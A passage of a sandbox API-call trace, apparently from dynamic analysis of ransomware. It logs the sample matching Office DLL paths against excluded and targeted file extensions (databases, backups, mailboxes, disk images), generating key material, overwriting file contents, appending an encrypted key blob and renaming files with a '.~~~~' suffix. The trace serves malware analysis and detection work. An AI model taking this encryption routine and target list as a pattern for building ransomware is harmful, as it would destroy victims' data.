	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".db3") returned 0x0
	[0081.720] lstrlenW (lpString=".OST") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".OST") returned 0x0
	[0081.720] lstrlenW (lpString=".dbx") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".dbx") returned 0x0
	[0081.720] lstrlenW (lpString=".DB3") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DB3") returned 0x0
	[0081.720] lstrlenW (lpString=".DAT") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DAT") returned 0x0
	[0081.720] lstrlenW (lpString=".VHDX") returned 5
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".VHDX") returned 0x0
	[0081.720] lstrlenW (lpString=".ndf") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".ndf") returned 0x0
	[0081.720] lstrlenW (lpString=".DB") returned 3
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DB") returned 0x0
	[0081.720] lstrlenW (lpString=".sql") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".sql") returned 0x0
	[0081.720] lstrlenW (lpString=".MYD") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".MYD") returned 0x0
	[0081.721] lstrlenW (lpString=".DBT") returned 4
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DBT") returned 0x0
	[0081.721] lstrlenW (lpString=".ACCDB") returned 6
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.721] lstrlenW (lpString=".fdb") returned 4
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".fdb") returned 0x0
	[0081.721] lstrlenW (lpString=".bak") returned 4
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".bak") returned 0x0
	[0081.721] lstrlenW (lpString=".myd") returned 4
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".myd") returned 0x0
	[0081.721] lstrlenW (lpString=".DTXS") returned 5
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DTXS") returned 0x0
	[0081.721] lstrlenW (lpString=".ckp") returned 4
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".ckp") returned 0x0
	[0081.721] lstrlenW (lpString=".dbt") returned 4
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".dbt") returned 0x0
	[0081.721] lstrlenW (lpString=".db") returned 3
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".db") returned 0x0
	[0081.721] lstrlenW (lpString=".TXT") returned 4
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".TXT") returned 0x0
	[0081.721] lstrlenW (lpString=".MDF") returned 4
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".MDF") returned 0x0
	[0081.721] lstrlenW (lpString=".bdb") returned 4
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".bdb") returned 0x0
	[0081.721] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.721] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.723] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.723] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.723] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20171298502) returned 1
	[0081.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a90e090, dwHighDateTime=0x1d60e1e)) 
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe558
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe558 | out: hHeap=0x300000) returned 1
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398d38
	[0081.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0081.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.723] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.724] GetLastError () returned 0x0
	[0081.724] GetLastError () returned 0x0
	[0081.724] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.724] GetLastError () returned 0x0
	[0081.724] GetLastError () returned 0x0
	[0081.724] ReadFile (in: hFile=0x128, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x24dfec0*=0x4d88, lpOverlapped=0x0) returned 1
	[0081.727] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb278, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.727] WriteFile (in: hFile=0x128, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x4d88, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0x4d88, lpOverlapped=0x0) returned 1
	[0081.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0081.727] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.727] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.728] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.728] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.728] CloseHandle (hObject=0x128) returned 1
	[0081.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398d38
	[0081.728] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.~~~~")) returned 1
	[0081.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.729] GetLastError () returned 0x0
	[0081.729] RtlWakeConditionVariable () returned 0x365f70
	[0081.729] GetCurrentThreadId () returned 0x3a4
	[0081.729] GetCurrentThreadId () returned 0x3a4
	[0081.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7b88 | out: hHeap=0x300000) returned 1
	[0081.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe590 | out: hHeap=0x300000) returned 1
	[0081.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7b88
	[0081.729] lstrlenW (lpString=".scr") returned 4
	[0081.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".scr") returned 0x0
	[0081.729] lstrlenW (lpString=".cmd") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".cmd") returned 0x0
	[0081.730] lstrlenW (lpString=".dll") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".dll") returned 0x0
	[0081.730] lstrlenW (lpString=".bat") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".bat") returned 0x0
	[0081.730] lstrlenW (lpString=".cpl") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".cpl") returned 0x0
	[0081.730] lstrlenW (lpString=".sys") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".sys") returned 0x0
	[0081.730] lstrlenW (lpString=".msc") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".msc") returned 0x0
	[0081.730] lstrlenW (lpString=".com") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".com") returned 0x0
	[0081.730] lstrlenW (lpString=".lnk") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".lnk") returned 0x0
	[0081.730] lstrlenW (lpString=".msp") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".msp") returned 0x0
	[0081.730] lstrlenW (lpString=".pif") returned 4
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".pif") returned 0x0
	[0081.730] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.731] lstrlenW (lpString=".sqb") returned 4
	[0081.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".sqb") returned 0x0
	[0081.731] lstrlenW (lpString=".ost") returned 4
	[0081.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".ost") returned 0x0
	[0081.731] lstrlenW (lpString=".txt") returned 4
	[0081.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".txt") returned 0x0
	[0081.731] lstrlenW (lpString=".mdt") returned 4
	[0081.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".mdt") returned 0x0
	[0081.731] lstrlenW (lpString=".BDB") returned 4
	[0081.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".BDB") returned 0x0
	[0081.731] lstrlenW (lpString=".eql") returned 4
	[0081.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".eql") returned 0x0
	[0081.731] lstrlenW (lpString=".DBF") returned 4
	[0081.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DBF") returned 0x0
	[0081.731] lstrlenW (lpString=".EQL") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".EQL") returned 0x0
	[0081.732] lstrlenW (lpString=".FDB") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".FDB") returned 0x0
	[0081.732] lstrlenW (lpString=".EDB") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".EDB") returned 0x0
	[0081.732] lstrlenW (lpString=".DACPAC") returned 7
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.732] lstrlenW (lpString=".VHD") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".VHD") returned 0x0
	[0081.732] lstrlenW (lpString=".DBV") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DBV") returned 0x0
	[0081.732] lstrlenW (lpString=".dacpac") returned 7
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".dacpac") returned 0x0
	[0081.732] lstrlenW (lpString=".sdf") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".sdf") returned 0x0
	[0081.732] lstrlenW (lpString=".accdb") returned 6
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".accdb") returned 0x0
	[0081.732] lstrlenW (lpString=".DBX") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DBX") returned 0x0
	[0081.732] lstrlenW (lpString=".MDT") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".MDT") returned 0x0
	[0081.732] lstrlenW (lpString=".SQB") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".SQB") returned 0x0
	[0081.732] lstrlenW (lpString=".vhd") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".vhd") returned 0x0
	[0081.732] lstrlenW (lpString=".bac") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".bac") returned 0x0
	[0081.732] lstrlenW (lpString=".mdf") returned 4
	[0081.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".mdf") returned 0x0
	[0081.732] lstrlenW (lpString=".BAK") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".BAK") returned 0x0
	[0081.733] lstrlenW (lpString=".BAC") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".BAC") returned 0x0
	[0081.733] lstrlenW (lpString=".dbs") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".dbs") returned 0x0
	[0081.733] lstrlenW (lpString=".vhdx") returned 5
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".vhdx") returned 0x0
	[0081.733] lstrlenW (lpString=".NDF") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".NDF") returned 0x0
	[0081.733] lstrlenW (lpString=".dat") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".dat") returned 0x0
	[0081.733] lstrlenW (lpString=".DBS") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DBS") returned 0x0
	[0081.733] lstrlenW (lpString=".CKP") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".CKP") returned 0x0
	[0081.733] lstrlenW (lpString=".edb") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".edb") returned 0x0
	[0081.733] lstrlenW (lpString=".PST") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".PST") returned 0x0
	[0081.733] lstrlenW (lpString=".dbf") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".dbf") returned 0x0
	[0081.733] lstrlenW (lpString=".SQL") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".SQL") returned 0x0
	[0081.733] lstrlenW (lpString=".pst") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".pst") returned 0x0
	[0081.733] lstrlenW (lpString=".dbv") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".dbv") returned 0x0
	[0081.733] lstrlenW (lpString=".SDF") returned 4
	[0081.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".SDF") returned 0x0
	[0081.734] lstrlenW (lpString=".dtxs") returned 5
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".dtxs") returned 0x0
	[0081.734] lstrlenW (lpString=".db3") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".db3") returned 0x0
	[0081.734] lstrlenW (lpString=".OST") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".OST") returned 0x0
	[0081.734] lstrlenW (lpString=".dbx") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".dbx") returned 0x0
	[0081.734] lstrlenW (lpString=".DB3") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DB3") returned 0x0
	[0081.734] lstrlenW (lpString=".DAT") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DAT") returned 0x0
	[0081.734] lstrlenW (lpString=".VHDX") returned 5
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".VHDX") returned 0x0
	[0081.734] lstrlenW (lpString=".ndf") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".ndf") returned 0x0
	[0081.734] lstrlenW (lpString=".DB") returned 3
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DB") returned 0x0
	[0081.734] lstrlenW (lpString=".sql") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".sql") returned 0x0
	[0081.734] lstrlenW (lpString=".MYD") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".MYD") returned 0x0
	[0081.734] lstrlenW (lpString=".DBT") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DBT") returned 0x0
	[0081.734] lstrlenW (lpString=".ACCDB") returned 6
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.734] lstrlenW (lpString=".fdb") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".fdb") returned 0x0
	[0081.734] lstrlenW (lpString=".bak") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".bak") returned 0x0
	[0081.734] lstrlenW (lpString=".myd") returned 4
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".myd") returned 0x0
	[0081.734] lstrlenW (lpString=".DTXS") returned 5
	[0081.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".DTXS") returned 0x0
	[0081.735] lstrlenW (lpString=".ckp") returned 4
	[0081.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".ckp") returned 0x0
	[0081.735] lstrlenW (lpString=".dbt") returned 4
	[0081.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".dbt") returned 0x0
	[0081.735] lstrlenW (lpString=".db") returned 3
	[0081.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".db") returned 0x0
	[0081.735] lstrlenW (lpString=".TXT") returned 4
	[0081.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".TXT") returned 0x0
	[0081.735] lstrlenW (lpString=".MDF") returned 4
	[0081.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL", lpSrch=".MDF") returned 0x0
	[0081.735] lstrlenW (lpString=".bdb") returned 4
